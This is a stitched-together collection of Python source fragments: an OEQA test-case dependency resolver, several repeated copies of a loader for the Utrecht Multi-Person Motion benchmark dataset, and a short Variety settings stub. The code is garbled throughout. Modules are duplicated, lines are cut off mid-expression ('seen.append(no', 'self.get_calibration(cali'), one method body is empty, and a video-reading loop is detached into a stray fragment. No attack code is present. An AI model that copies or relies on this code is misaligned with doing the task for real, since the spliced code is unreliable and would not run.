if registry.get('depends'):
            _validate_test_case_depends(registry['cases'], registry['depends'])
            return _order_test_case_by_depends(registry['cases'], registry['depends'])
        else:
            return [registry['cases'][case_id] for case_id in registry['cases']]

from unittest import SkipTest

from oeqa.core.exception import OEQADependency

from . import OETestDiscover, registerDecorator

def _add_depends(registry, case, depends):
    module_name = case.__module__
    class_name = case.__class__.__name__

    case_id = case.id()

    for depend in depends:
        dparts = depend.split('.')

        if len(dparts) == 1:
            depend_id = ".".join((module_name, class_name, dparts[0]))
        elif len(dparts) == 2:
            depend_id = ".".join((module_name, dparts[0], dparts[1]))
        else:
            depend_id = depend

        if not case_id in registry:
            registry[case_id] = []
        if not depend_id in registry[case_id]:
            registry[case_id].append(depend_id)

def _validate_test_case_depends(cases, depends):
    for case in depends:
        if not case in cases:
            continue
        for dep in depends[case]:
            if not dep in cases:
                raise OEQADependency("TestCase %s depends on %s and isn't available"\
                       ", cases available %s." % (case, dep, str(cases.keys())))

def _order_test_case_by_depends(cases, depends):
    def _dep_resolve(graph, node, resolved, seen):
        seen.append(node)
        for edge in graph[node]:
            if edge not in resolved:
                if edge in seen:
                    raise OEQADependency("Test cases %s and %s have a circular" \
                                       " dependency." % (node, edge))
                _dep_resolve(graph, edge, resolved, seen)
        resolved.append(node)

    dep_graph = {}
    dep_graph['__root__'] = cases.keys()
    for case in cases:
        if case in depends:
            dep_graph[case] = depends[case]
        else:
            dep_graph[case] = []

    cases_ordered = []
    _dep_resolve(dep_graph, '__root__', cases_ordered, [])
    cases_ordered.remove('__root__')

    return [cases[case_id] for case_id in cases_ordered]

def _skipTestDependency(case, depends):
    for dep in depends:
        found = False
        for test, _ in case.tc.results.successes:
            if test.id() == dep:
                found = True
                break
        if not found:
            raise SkipTest("Test case %s depends on %s but it didn't pass/run." \
                        % (case.id(), dep))

@registerDecorator
class OETestDepends(OETestDiscover):
    attrs = ('depends',)

    def bind(self, registry, case):
        super(OETestDepends, self).bind(registry, case)
        if not registry.get('depends'):
            registry['depends'] = {}
        _add_depends(registry['depends'], case, self.depends)

    @staticmethod
    def discover(registry):

    def setUpDecorator(self):
        _skipTestDependency(self.case, self.depends)


from unittest import SkipTest

from oeqa.core.exception import OEQADependency

from . import OETestDiscover, registerDecorator

def _add_depends(registry, case, depends):
    module_name = case.__module__
    class_name = case.__class__.__name__

    case_id = case.id()

    for depend in depends:
        dparts = depend.split('.')

        if len(dparts) == 1:
            depend_id = ".".join((module_name, class_name, dparts[0]))
        elif len(dparts) == 2:
            depend_id = ".".join((module_name, dparts[0], dparts[1]))
        else:
            depend_id = depend

        if not case_id in registry:
            registry[case_id] = []
        if not depend_id in registry[case_id]:
            registry[case_id].append(depend_id)

def _validate_test_case_depends(cases, depends):
    for case in depends:
        if not case in cases:
            continue
        for dep in depends[case]:
            if not dep in cases:
                raise OEQADependency("TestCase %s depends on %s and isn't available"\
                       ", cases available %s." % (case, dep, str(cases.keys())))

def _order_test_case_by_depends(cases, depends):
    def _dep_resolve(graph, node, resolved, seen):
        seen.append(no

        for edge in graph[node]:
            if edge not in resolved:
                if edge in seen:
                    raise OEQADependency("Test cases %s and %s have a circular" \
                                       " dependency." % (node, edge))
                _dep_resolve(graph, edge, resolved, seen)
        resolved.append(node)

    dep_graph = {}
    dep_graph['__root__'] = cases.keys()
    for case in cases:
        if case in depends:
            dep_graph[case] = depends[case]
        else:
            dep_graph[case] = []

    cases_ordered = []
    _dep_resolve(dep_graph, '__root__', cases_ordered, [])
    cases_ordered.remove('__root__')

    return [cases[case_id] for case_id in cases_ordered]

def _skipTestDependency(case, depends):
    for dep in depends:
        found = False
        for test, _ in case.tc.results.successes:
            if test.id() == dep:
                found = True
                break
        if not found:
            raise SkipTest("Test case %s depends on %s but it didn't pass/run." \
                        % (case.id(), dep))

@registerDecorator
class OETestDepends(OETestDiscover):
    attrs = ('depends',)

    def bind(self, registry, case):
        super(OETestDepends, self).bind(registry, case)
        if not registry.get('depends'):
            registry['depends'] = {}
        _add_depends(registry['depends'], case, self.depends)

    @staticmethod
    def discover(registry):
        if registry.get('depends'):
            _validate_test_case_depends(registry['cases'], registry['depends'])
            return _order_test_case_by_depends(registry['cases'], registry['depends'])
        else:
            return [registry['cases'][case_id] for case_id in registry['cases']]

    def setUpDecorator(self):
        _skipTestDependency(self.case, self.depends)


from pak.datasets.Dataset import Dataset
import numpy as np
from pak import utils
from pak.util import download, unzip
from os import makedirs, listdir
from os.path import join, isfile, isdir, exists, splitext
import time
import cv2
import json
import c3d

class UMPM:
    """ Utrecht Multi-Person Motion Benchmark
        http://example.com
    """

    def __init__(self, root, username, password, verbose=True):
        """
        """
        utils.talk("UMPM", verbose)

        data_root = join(root, 'umpm')
        self.data_root = data_root
        root_url = 'http://example.com/'

        if not isdir(data_root):
            makedirs(data_root)

        calib_zip = join(data_root, 'umpm_camcalib1.zip')
        if not isfile(calib_zip):
            calib_url = 'http://example.com'
            download.download_with_login(calib_url, data_root, username, password)
            assert isfile(calib_zip)

        calib_dir = join(data_root, 'Calib')
        if not isdir(calib_dir):
            unzip.unzip(calib_zip, data_root)
            assert isdir(calib_dir)

        for file in UMPM.get_file_list():
            cur_loc = join(data_root, file)
            fzip = join(cur_loc, file + ".zip")
            cur_url = root_url + file + '.zip'

            if not isdir(cur_loc):
                utils.talk("could not find location " + file, verbose)

                if not isfile(fzip):
                    utils.talk("could not find file " + file + '.zip', verbose)
                    download.download_with_login(
                        cur_url,
                        cur_loc,
                        username,
                        password)

            if not isdir(join(cur_loc, 'Groundtruth')):
                utils.talk("unzipping " + fzip, verbose)
                unzip.unzip(fzip, cur_loc, del_after_unzip=True)

            video_loc = join(cur_loc, 'Video')
            lzma_videos = [join(video_loc, f) for f in listdir(video_loc) if f.endswith('.xz')]
            for lzma_video in lzma_videos:
                utils.talk('unzipping video ' + lzma_video, verbose)
                unzip.unzip(lzma_video, video_loc, del_after_unzip=True)

            #     utils.talk("could not find c3d file " + file, verbose)

    def get_data(self, name, lock_gt_framerate=True):
        """
        :param name:
        :param lock_gt_framerate: if True the framerate of the
                    ground truth is reduced to match that of the
                    Videos. Otherwise, the gt frame rate is twice as
                    large as the video frame rate
        :return: X and C3D for the given name
        """
        cur_loc = join(self.data_root, name)
        settings_json = join(cur_loc, name + '.json')
        assert isdir(cur_loc)

        nbr_people_in_video = int(name[1])

        try:
            settings = json.load(open(settings_json))
        except json.JSONDecodeError:
            # fix the bug (trailing ',' at the last position)
            with open(settings_json, 'r') as f:
                data = f.read().replace('\n', '').replace(' ', '')
                data = data.replace(',}', '}')

                if '}{' in data:
                    # more than one entry: just drop the last one
                    data = data.replace('}{', '},{')
                    data = '[' + data + ']'

            with open(settings_json, 'w') as f:
                f.write(data)

            settings = json.load(open(settings_json))

        if isinstance(settings, (list,)):
            # more than one entry: just drop the last one
            settings = settings[0]

        calib_name = settings['calib']
        calibration = self.get_calibration(calib_name)

        video_loc = join(cur_loc, 'Video'); assert isdir(video_loc)
        gt_loc = join(cur_loc, 'Groundtruth'); assert isdir(gt_loc)
        shape = UMPM.get_shape(name)

        # we have 4 videos: l,r,s,f
        Videos = {'l': None, 'r': None, 's': None, 'f': None}
        for cam in ['l', 'r', 's', 'f']:
            fmmap = join(video_loc, name + '_' + cam + '.npy')
            if not isfile(fmmap):
                avi = join(video_loc, name + '_' + cam + '.avi'); assert isfile(avi)
                cap = cv2.VideoCapture(avi)
                X = np.memmap(fmmap, dtype='uint8', mode='w+', shape=shape)
                i = 0
                while True:
                    valid, frame = cap.read()
                    if not valid:
                        break
                    frame = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB)
                    X[i] = frame

                    i = i + 1

                del X
                time.sleep(0.01)
            X = np.memmap(fmmap, dtype='uint8', mode='r', shape=shape)
            Videos[cam] = X

            fc3d = join(gt_loc, name + '_vm.c3d'); assert isfile(fc3d)
            with open(fc3d, 'rb') as handle:
                reader = c3d.Reader(handle)
                F = reader.read_frames()

                points = []

                for frame, point, analog in F:
                    if lock_gt_framerate:
                        if frame % 2 == 0:
                            # skip every second frame to 'adjust'
                            # the gt frames (100fps) to the video
                            continue

                    points.append(point)
        assert len(points) == Videos['l'].shape[0]
        points = np.array(points)
        assert points.shape[1] == nbr_people_in_video * 15

        return Videos, points, calibration

    def get_calibration(self, name):
        """
        Gets the calibration for a given name
        :param name: e.g. calib_l06
        :return:
        """
        calib_dir = join(self.data_root, 'Calib'); assert isdir(calib_dir)
        Calibs = {'l': None, 'r': None, 's': None, 'f': None}
        for cam in ['l', 'r', 's', 'f']:
            ini_path = join(calib_dir, name + '_' + cam + '.ini')
            assert isfile(ini_path)
            with open(ini_path) as f:
                content = f.readlines()

            K_r1 = [float(s) for s in content[0].replace('\n', '').split(' ') \
                    if len(s) > 0]
            K_r2 = [float(s) for s in content[1].replace('\n', '').split(' ') \
                    if len(s) > 0]
            K_r3 = [float(s) for s in content[2].replace('\n', '').split(' ') \
                    if len(s) > 0]
            K = np.zeros((3, 3))
            K[0] = K_r1; K[1] = K_r2; K[2] = K_r3

            distCoef = [float(s) for s in content[3].replace('\n', '').split(' ') \
                    if len(s) > 0]
            rvec = [float(s) for s in content[4].replace('\n', '').split(' ') \
                    if len(s) > 0]
            tvec = [float(s) for s in content[5].replace('\n', '').split(' ') \
                    if len(s) > 0]

            Calibs[cam] = {
                'K': K,
                'distCoeff': distCoef,
                'rvec': rvec,
                'tvec': tvec
            }

        return Calibs

    @staticmethod


from pak.datasets.Dataset import Dataset
import numpy as np
from pak import utils
from pak.util import download, unzip
from os import makedirs, listdir
from os.path import join, isfile, isdir, exists, splitext
import time
import cv2
import json
import c3d

class UMPM:
    """ Utrecht Multi-Person Motion Benchmark
        http://example.com
    """

    def __init__(self, root, username, password, verbose=True):
        """
        """
        utils.talk("UMPM", verbose)

        data_root = join(root, 'umpm')
        self.data_root = data_root
        root_url = 'http://example.com/'

        if not isdir(data_root):
            makedirs(data_root)

        calib_zip = join(data_root, 'umpm_camcalib1.zip')
        if not isfile(calib_zip):
            calib_url = 'http://example.com'
            download.download_with_login(calib_url, data_root, username, password)
            assert isfile(calib_zip)

        calib_dir = join(data_root, 'Calib')
        if not isdir(calib_dir):
            unzip.unzip(calib_zip, data_root)
            assert isdir(calib_dir)

        for file in UMPM.get_file_list():
            cur_loc = join(data_root, file)
            fzip = join(cur_loc, file + ".zip")
            cur_url = root_url + file + '.zip'

            if not isdir(cur_loc):
                utils.talk("could not find location " + file, verbose)

                if not isfile(fzip):
                    utils.talk("could not find file " + file + '.zip', verbose)
                    download.download_with_login(
                        cur_url,
                        cur_loc,
                        username,
                        password)

            if not isdir(join(cur_loc, 'Groundtruth')):
                utils.talk("unzipping " + fzip, verbose)
                unzip.unzip(fzip, cur_loc, del_after_unzip=True)

            video_loc = join(cur_loc, 'Video')
            lzma_videos = [join(video_loc, f) for f in listdir(video_loc) if f.endswith('.xz')]
            for lzma_video in lzma_videos:
                utils.talk('unzipping video ' + lzma_video, verbose)
                unzip.unzip(lzma_video, video_loc, del_after_unzip=True)

            #     utils.talk("could not find c3d file " + file, verbose)

    def get_data(self, name, lock_gt_framerate=True):
        """
        :param name:
        :param lock_gt_framerate: if True the framerate of the
                    ground truth is reduced to match that of the
                    Videos. Otherwise, the gt frame rate is twice as
                    large as the video frame rate
        :return: X and C3D for the given name
        """
        cur_loc = join(self.data_root, name)
        settings_json = join(cur_loc, name + '.json')
        assert isdir(cur_loc)

        nbr_people_in_video = int(name[1])

        try:
            settings = json.load(open(settings_json))
        except json.JSONDecodeError:
            # fix the bug (trailing ',' at the last position)
            with open(settings_json, 'r') as f:
                data = f.read().replace('\n', '').replace(' ', '')
                data = data.replace(',}', '}')

                if '}{' in data:
                    # more than one entry: just drop the last one
                    data = data.replace('}{', '},{')
                    data = '[' + data + ']'

            with open(settings_json, 'w') as f:
                f.write(data)

            settings = json.load(open(settings_json))

        if isinstance(settings, (list,)):
            # more than one entry: just drop the last one
            settings = settings[0]

        calib_name = settings['calib']
        calibration = self.get_calibration(calib_name)

        video_loc = join(cur_loc, 'Video'); assert isdir(video_loc)
        gt_loc = join(cur_loc, 'Groundtruth'); assert isdir(gt_loc)
        shape = UMPM.get_shape(name)

        # we have 4 videos: l,r,s,f
        Videos = {'l': None, 'r': None, 's': None, 'f': None}
        for cam in ['l', 'r', 's', 'f']:
            fmmap = join(video_loc, name + '_' + cam + '.npy')
            if not isfile(fmmap):
                avi = join(video_loc, name + '_' + cam + '.avi'); assert isfile(avi)
                cap = cv2.VideoCapture(avi)
                X = np.memmap(fmmap, dtype='uint8', mode='w+', shape=shape)
                i = 0
                while True:
                    valid, frame = cap.read()
                    if not valid:
                        break
                    frame = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB)
                    X[i] = frame

                    i = i + 1

                del X
                time.sleep(0.01)
            X = np.memmap(fmmap, dtype='uint8', mode='r', shape=shape)
            Videos[cam] = X

            fc3d = join(gt_loc, name + '_vm.c3d'); assert isfile(fc3d)
            with open(fc3d, 'rb') as handle:
                reader = c3d.Reader(handle)
                F = reader.read_frames()

                points = []

                for frame, point, analog in F:
                    if lock_gt_framerate:
                        if frame % 2 == 0:
                            # skip every second frame to 'adjust'
                            # the gt frames (100fps) to the video
                            continue

                    points.append(point)
        assert len(points) == Videos['l'].shape[0]
        points = np.array(points)
        assert points.shape[1] == nbr_people_in_video * 15

        return Videos, points, calibration

    def get_calibration(self, name):
        """
        Gets the calibration for a given name
        :param name: e.g. calib_l06
        :return:
        """
        calib_dir = join(self.data_root, 'Calib'); assert isdir(calib_dir)
        Calibs = {'l': None, 'r': None, 's': None, 'f': None}
        for cam in ['l', 'r', 's', 'f']:
            ini_path = join(calib_dir, name + '_' + cam + '.ini')
            assert isfile(ini_path)
            with open(ini_path) as f:
                content = f.readlines()

            K_r1 = [float(s) for s in content[0].replace('\n', '').split(' ') \
                    if len(s) > 0]
            K_r2 = [float(s) for s in content[1].replace('\n', '').split(' ') \
                    if len(s) > 0]
            K_r3 = [float(s) for s in content[2].replace('\n', '').split(' ') \
                    if len(s) > 0]
            K = np.zeros((3, 3))
            K[0] = K_r1; K[1] = K_r2; K[2] = K_r3

            distCoef = [float(s) for s in content[3].replace('\n', '').split(' ') \
                    if len(s) > 0]
            rvec = [float(s) for s in content[4].replace('\n', '').split(' ') \
                    if len(s) > 0]
            tvec = [float(s) for s in content[5].replace('\n', '').split(' ') \
                    if len(s) > 0]

            Calibs[cam] = {
                'K': K,
                'distCoeff': distCoef,
                'rvec': rvec,
                'tvec': tvec
            }

        return Calibs

    @staticmethod
    def get_shape(name):
        return {
            'p1_triangle_1': (2471,486,644,3),
            'p2_ball_1': (2796,486,644,3),
            'p2_chair_2': (2677,486,644,3),
            'p2_circle_01': (2313,486,644,3),
            'p2_free_1': (2437,486,644,3),
            'p2_grab_2': (2779,486,644,3)
        }[name]

    @staticmethod
    def get_file_list():


from pak.datasets.Dataset import Dataset
import numpy as np
from pak import utils
from pak.util import download, unzip
from os import makedirs, listdir
from os.path import join, isfile, isdir, exists, splitext
import time
import cv2
import json
import c3d

class UMPM:
    """ Utrecht Multi-Person Motion Benchmark
        http://example.com
    """

    def __init__(self, root, username, password, verbose=True):
        """
        """
        utils.talk("UMPM", verbose)

        data_root = join(root, 'umpm')
        self.data_root = data_root
        root_url = 'http://example.com/'

        if not isdir(data_root):
            makedirs(data_root)

        calib_zip = join(data_root, 'umpm_camcalib1.zip')
        if not isfile(calib_zip):
            calib_url = 'http://example.com'
            download.download_with_login(calib_url, data_root, username, password)
            assert isfile(calib_zip)

        calib_dir = join(data_root, 'Calib')
        if not isdir(calib_dir):
            unzip.unzip(calib_zip, data_root)
            assert isdir(calib_dir)

        for file in UMPM.get_file_list():
            cur_loc = join(data_root, file)
            fzip = join(cur_loc, file + ".zip")
            cur_url = root_url + file + '.zip'

            if not isdir(cur_loc):
                utils.talk("could not find location " + file, verbose)

                if not isfile(fzip):
                    utils.talk("could not find file " + file + '.zip', verbose)
                    download.download_with_login(
                        cur_url,
                        cur_loc,
                        username,
                        password)

            if not isdir(join(cur_loc, 'Groundtruth')):
                utils.talk("unzipping " + fzip, verbose)
                unzip.unzip(fzip, cur_loc, del_after_unzip=True)

            video_loc = join(cur_loc, 'Video')
            lzma_videos = [join(video_loc, f) for f in listdir(video_loc) if f.endswith('.xz')]
            for lzma_video in lzma_videos:
                utils.talk('unzipping video ' + lzma_video, verbose)
                unzip.unzip(lzma_video, video_loc, del_after_unzip=True)

            #     utils.talk("could not find c3d file " + file, verbose)

    def get_data(self, name, lock_gt_framerate=True):
        """
        :param name:
        :param lock_gt_framerate: if True the framerate of the
                    ground truth is reduced to match that of the
                    Videos. Otherwise, the gt frame rate is twice as
                    large as the video frame rate
        :return: X and C3D for the given name
        """
        cur_loc = join(self.data_root, name)
        settings_json = join(cur_loc, name + '.json')
        assert isdir(cur_loc)

        nbr_people_in_video = int(name[1])

        try:
            settings = json.load(open(settings_json))
        except json.JSONDecodeError:
            # fix the bug (trailing ',' at the last position)
            with open(settings_json, 'r') as f:
                data = f.read().replace('\n', '').replace(' ', '')
                data = data.replace(',}', '}')

                if '}{' in data:
                    # more than one entry: just drop the last one
                    data = data.replace('}{', '},{')
                    data = '[' + data + ']'

            with open(settings_json, 'w') as f:
                f.write(data)

            settings = json.load(open(settings_json))

        if isinstance(settings, (list,)):
            # more than one entry: just drop the last one
            settings = settings[0]

        calib_name = settings['calib']
        calibration = self.get_calibration(cali

        video_loc = join(cur_loc, 'Video'); assert isdir(video_loc)
        gt_loc = join(cur_loc, 'Groundtruth'); assert isdir(gt_loc)
        shape = UMPM.get_shape(name)

        # we have 4 videos: l,r,s,f
        Videos = {'l': None, 'r': None, 's': None, 'f': None}
        for cam in ['l', 'r', 's', 'f']:
            fmmap = join(video_loc, name + '_' + cam + '.npy')
            if not isfile(fmmap):
                avi = join(video_loc, name + '_' + cam + '.avi'); assert isfile(avi)
                cap = cv2.VideoCapture(avi)
                X = np.memmap(fmmap, dtype='uint8', mode='w+', shape=shape)
                i = 0
                while True:
                    valid, frame = cap.read()
                    if not valid:
                        break
                    frame = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB)
                    X[i] = frame

                    i = i + 1

                del X
                time.sleep(0.01)
            X = np.memmap(fmmap, dtype='uint8', mode='r', shape=shape)
            Videos[cam] = X

            fc3d = join(gt_loc, name + '_vm.c3d'); assert isfile(fc3d)
            with open(fc3d, 'rb') as handle:
                reader = c3d.Reader(handle)
                F = reader.read_frames()

                points = []

                for frame, point, analog in F:
                    if lock_gt_framerate:
                        if frame % 2 == 0:
                            # skip every second frame to 'adjust'
                            # the gt frames (100fps) to the video
                            continue

                    points.append(point)
        assert len(points) == Videos['l'].shape[0]
        points = np.array(points)
        assert points.shape[1] == nbr_people_in_video * 15

        return Videos, points, calibration

    def get_calibration(self, name):
        """
        Gets the calibration for a given name
        :param name: e.g. calib_l06
        :return:
        """
        calib_dir = join(self.data_root, 'Calib'); assert isdir(calib_dir)
        Calibs = {'l': None, 'r': None, 's': None, 'f': None}
        for cam in ['l', 'r', 's', 'f']:
            ini_path = join(calib_dir, name + '_' + cam + '.ini')
            assert isfile(ini_path)
            with open(ini_path) as f:
                content = f.readlines()

            K_r1 = [float(s) for s in content[0].replace('\n', '').split(' ') \
                    if len(s) > 0]
            K_r2 = [float(s) for s in content[1].replace('\n', '').split(' ') \
                    if len(s) > 0]
            K_r3 = [float(s) for s in content[2].replace('\n', '').split(' ') \
                    if len(s) > 0]
            K = np.zeros((3, 3))
            K[0] = K_r1; K[1] = K_r2; K[2] = K_r3

            distCoef = [float(s) for s in content[3].replace('\n', '').split(' ') \
                    if len(s) > 0]
            rvec = [float(s) for s in content[4].replace('\n', '').split(' ') \
                    if len(s) > 0]
            tvec = [float(s) for s in content[5].replace('\n', '').split(' ') \
                    if len(s) > 0]

            Calibs[cam] = {
                'K': K,
                'distCoeff': distCoef,
                'rvec': rvec,
                'tvec': tvec
            }

        return Calibs

    @staticmethod
    def get_shape(name):
        return {
            'p1_triangle_1': (2471,486,644,3),
            'p2_ball_1': (2796,486,644,3),
            'p2_chair_2': (2677,486,644,3),
            'p2_circle_01': (2313,486,644,3),
            'p2_free_1': (2437,486,644,3),
            'p2_grab_2': (2779,486,644,3)
        }[name]

    @staticmethod
    def get_file_list():
        return [
            'p2_ball_1',
            'p2_free_1',
            'p2_grab_1',
            'p2_chair_2'
        ]

    @staticmethod
    def get_file_list_ALL():
        """
        :return: all the files stored on the server
        """
        return [
            'p1_grab_3',
            'p1_orthosyn_1',
            'p1_table_2',
            'p1_triangle_1',
            'p2_ball_1',
            'p2_chair_1',
            'p2_chair_2',
            'p2_circle_01',
            'p2_free_1',
            'p2_free_2',
            'p2_grab_1',
            'p2_grab_2',
            'p2_meet_1',
            'p2_orthosyn_1',
            'p2_staticsyn_1',
            'p2_table_1',
            'p2_table_2',
            'p3_ball_12',
            'p3_ball_1',
            'p3_ball_2',
            'p3_ball_3',
            'p3_chair_11',
            'p3_chair_12',
            'p3_chair_15',
            'p3_chair_16',
            'p3_chair_1',
            'p3_chair_2',
            'p3_circle_15',
            'p3_circle_16',
            'p3_circle_2',
            'p3_circlesyn_11',
            'p3_free_11',
            'p3_free_12',
            'p3_free_1',
            'p3_free_2',
            'p3_grab_11',
            'p3_grab_12',
            'p3_grab_1',
            'p3_grab_2',
            'p3_meet_11',
            'p3_meet_12',
            'p3_meet_1',
            'p3_meet_2',
            'p3_orthosyn_11',
            'p3_orthosyn_12',
            'p3_orthosyn_2',
            'p3_staticsyn_11',
            'p3_staticsyn_12',
            'p3_staticsyn_2',
            'p3_table_11',
            'p3_table_2',
            'p3_triangle_11',
            'p3_triangle_12',
            'p3_triangle_13',
            'p3_triangle_1',
            'p3_triangle_2',
            'p3_triangle_3',
            'p4_ball_11',
            'p4_ball_12',
            'p4_chair_11',
            'p4_chair_1',
            'p4_circle_11',
            'p4_circle_12',
            'p4_free_11',
            'p4_free_1',
            'p4_grab_11',
            'p4_grab_1',
            'p4_meet_11',
            'p4_meet_12',
            'p4_meet_2',
            'p4_staticsyn_11',
            'p4_staticsyn_13',
            'p4_table_11',
            'p4_table_12'
        ]


while True:
                    valid, frame = cap.read()
                    if not valid:
                        break
                    frame = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB)
                    X[i] = frame

                    i = i + 1

from pak.datasets.Dataset import Dataset
import numpy as np
from pak import utils
from pak.util import download, unzip
from os import makedirs, listdir
from os.path import join, isfile, isdir, exists, splitext
import time
import cv2
import json
import c3d

class UMPM:
    """ Utrecht Multi-Person Motion Benchmark
        http://example.com
    """

    def __init__(self, root, username, password, verbose=True):
        """
        """
        utils.talk("UMPM", verbose)

        data_root = join(root, 'umpm')
        self.data_root = data_root
        root_url = 'http://example.com/'

        if not isdir(data_root):
            makedirs(data_root)

        calib_zip = join(data_root, 'umpm_camcalib1.zip')
        if not isfile(calib_zip):
            calib_url = 'http://example.com'
            download.download_with_login(calib_url, data_root, username, password)
            assert isfile(calib_zip)

        calib_dir = join(data_root, 'Calib')
        if not isdir(calib_dir):
            unzip.unzip(calib_zip, data_root)
            assert isdir(calib_dir)

        for file in UMPM.get_file_list():
            cur_loc = join(data_root, file)
            fzip = join(cur_loc, file + ".zip")
            cur_url = root_url + file + '.zip'

            if not isdir(cur_loc):
                utils.talk("could not find location " + file, verbose)

                if not isfile(fzip):
                    utils.talk("could not find file " + file + '.zip', verbose)
                    download.download_with_login(
                        cur_url,
                        cur_loc,
                        username,
                        password)

            if not isdir(join(cur_loc, 'Groundtruth')):
                utils.talk("unzipping " + fzip, verbose)
                unzip.unzip(fzip, cur_loc, del_after_unzip=True)

            video_loc = join(cur_loc, 'Video')
            lzma_videos = [join(video_loc, f) for f in listdir(video_loc) if f.endswith('.xz')]
            for lzma_video in lzma_videos:
                utils.talk('unzipping video ' + lzma_video, verbose)
                unzip.unzip(lzma_video, video_loc, del_after_unzip=True)

            #     utils.talk("could not find c3d file " + file, verbose)

    def get_data(self, name, lock_gt_framerate=True):
        """
        :param name:
        :param lock_gt_framerate: if True the framerate of the
                    ground truth is reduced to match that of the
                    Videos. Otherwise, the gt frame rate is twice as
                    large as the video frame rate
        :return: X and C3D for the given name
        """
        cur_loc = join(self.data_root, name)
        settings_json = join(cur_loc, name + '.json')
        assert isdir(cur_loc)

        nbr_people_in_video = int(name[1])

        try:
            settings = json.load(open(settings_json))
        except json.JSONDecodeError:
            # fix the bug (trailing ',' at the last position)
            with open(settings_json, 'r') as f:
                data = f.read().replace('\n', '').replace(' ', '')
                data = data.replace(',}', '}')

                if '}{' in data:
                    # more than one entry: just drop the last one
                    data = data.replace('}{', '},{')
                    data = '[' + data + ']'

            with open(settings_json, 'w') as f:
                f.write(data)

            settings = json.load(open(settings_json))

        if isinstance(settings, (list,)):
            # more than one entry: just drop the last one
            settings = settings[0]

        calib_name = settings['calib']
        calibration = self.get_calibration(calib_name)

        video_loc = join(cur_loc, 'Video'); assert isdir(video_loc)
        gt_loc = join(cur_loc, 'Groundtruth'); assert isdir(gt_loc)
        shape = UMPM.get_shape(name)

        # we have 4 videos: l,r,s,f
        Videos = {'l': None, 'r': None, 's': None, 'f': None}
        for cam in ['l', 'r', 's', 'f']:
            fmmap = join(video_loc, name + '_' + cam + '.npy')
            if not isfile(fmmap):
                avi = join(video_loc, name + '_' + cam + '.avi'); assert isfile(avi)
                cap = cv2.VideoCapture(avi)
                X = np.memmap(fmmap, dtype='uint8', mode='w+', shape=shape)
                i = 0

                del X
                time.sleep(0.01)
            X = np.memmap(fmmap, dtype='uint8', mode='r', shape=shape)
            Videos[cam] = X

            fc3d = join(gt_loc, name + '_vm.c3d'); assert isfile(fc3d)
            with open(fc3d, 'rb') as handle:
                reader = c3d.Reader(handle)
                F = reader.read_frames()

                points = []

                for frame, point, analog in F:
                    if lock_gt_framerate:
                        if frame % 2 == 0:
                            # skip every second frame to 'adjust'
                            # the gt frames (100fps) to the video
                            continue

                    points.append(point)
        assert len(points) == Videos['l'].shape[0]
        points = np.array(points)
        assert points.shape[1] == nbr_people_in_video * 15

        return Videos, points, calibration

    def get_calibration(self, name):
        """
        Gets the calibration for a given name
        :param name: e.g. calib_l06
        :return:
        """
        calib_dir = join(self.data_root, 'Calib'); assert isdir(calib_dir)
        Calibs = {'l': None, 'r': None, 's': None, 'f': None}
        for cam in ['l', 'r', 's', 'f']:
            ini_path = join(calib_dir, name + '_' + cam + '.ini')
            assert isfile(ini_path)
            with open(ini_path) as f:
                content = f.readlines()

            K_r1 = [float(s) for s in content[0].replace('\n', '').split(' ') \
                    if len(s) > 0]
            K_r2 = [float(s) for s in content[1].replace('\n', '').split(' ') \
                    if len(s) > 0]
            K_r3 = [float(s) for s in content[2].replace('\n', '').split(' ') \
                    if len(s) > 0]
            K = np.zeros((3, 3))
            K[0] = K_r1; K[1] = K_r2; K[2] = K_r3

            distCoef = [float(s) for s in content[3].replace('\n', '').split(' ') \
                    if len(s) > 0]
            rvec = [float(s) for s in content[4].replace('\n', '').split(' ') \
                    if len(s) > 0]
            tvec = [float(s) for s in content[5].replace('\n', '').split(' ') \
                    if len(s) > 0]

            Calibs[cam] = {
                'K': K,
                'distCoeff': distCoef,
                'rvec': rvec,
                'tvec': tvec
            }

        return Calibs

    @staticmethod
    def get_shape(name):
        return {
            'p1_triangle_1': (2471,486,644,3),
            'p2_ball_1': (2796,486,644,3),
            'p2_chair_2': (2677,486,644,3),
            'p2_circle_01': (2313,486,644,3),
            'p2_free_1': (2437,486,644,3),
            'p2_grab_2': (2779,486,644,3)
        }[name]

    @staticmethod
    def get_file_list():
        return [
            'p2_ball_1',
            'p2_free_1',
            'p2_grab_1',
            'p2_chair_2'
        ]

    @staticmethod
    def get_file_list_ALL():
        """
        :return: all the files stored on the server
        """
        return [
            'p1_grab_3',
            'p1_orthosyn_1',
            'p1_table_2',
            'p1_triangle_1',
            'p2_ball_1',
            'p2_chair_1',
            'p2_chair_2',
            'p2_circle_01',
            'p2_free_1',
            'p2_free_2',
            'p2_grab_1',
            'p2_grab_2',
            'p2_meet_1',
            'p2_orthosyn_1',
            'p2_staticsyn_1',
            'p2_table_1',
            'p2_table_2',
            'p3_ball_12',
            'p3_ball_1',
            'p3_ball_2',
            'p3_ball_3',
            'p3_chair_11',
            'p3_chair_12',
            'p3_chair_15',
            'p3_chair_16',
            'p3_chair_1',
            'p3_chair_2',
            'p3_circle_15',
            'p3_circle_16',
            'p3_circle_2',
            'p3_circlesyn_11',
            'p3_free_11',
            'p3_free_12',
            'p3_free_1',
            'p3_free_2',
            'p3_grab_11',
            'p3_grab_12',
            'p3_grab_1',
            'p3_grab_2',
            'p3_meet_11',
            'p3_meet_12',
            'p3_meet_1',
            'p3_meet_2',
            'p3_orthosyn_11',
            'p3_orthosyn_12',
            'p3_orthosyn_2',
            'p3_staticsyn_11',
            'p3_staticsyn_12',
            'p3_staticsyn_2',
            'p3_table_11',
            'p3_table_2',
            'p3_triangle_11',
            'p3_triangle_12',
            'p3_triangle_13',
            'p3_triangle_1',
            'p3_triangle_2',
            'p3_triangle_3',
            'p4_ball_11',
            'p4_ball_12',
            'p4_chair_11',
            'p4_chair_1',
            'p4_circle_11',
            'p4_circle_12',
            'p4_free_11',
            'p4_free_1',
            'p4_grab_11',
            'p4_grab_1',
            'p4_meet_11',
            'p4_meet_12',
            'p4_meet_2',
            'p4_staticsyn_11',
            'p4_staticsyn_13',
            'p4_table_11',
            'p4_table_12'
        ]


__all__ = ["project_path_not_found", "get_data_file", "get_data_path"]

try:
    from .variety_build_settings import __variety_data_directory__
except ImportError:
    # Variety's data directory. This is set by setup.py for permanent installations, but defaults to ../data
    __variety_data_directory__ = "../data"
__license__ = "GPL-3"
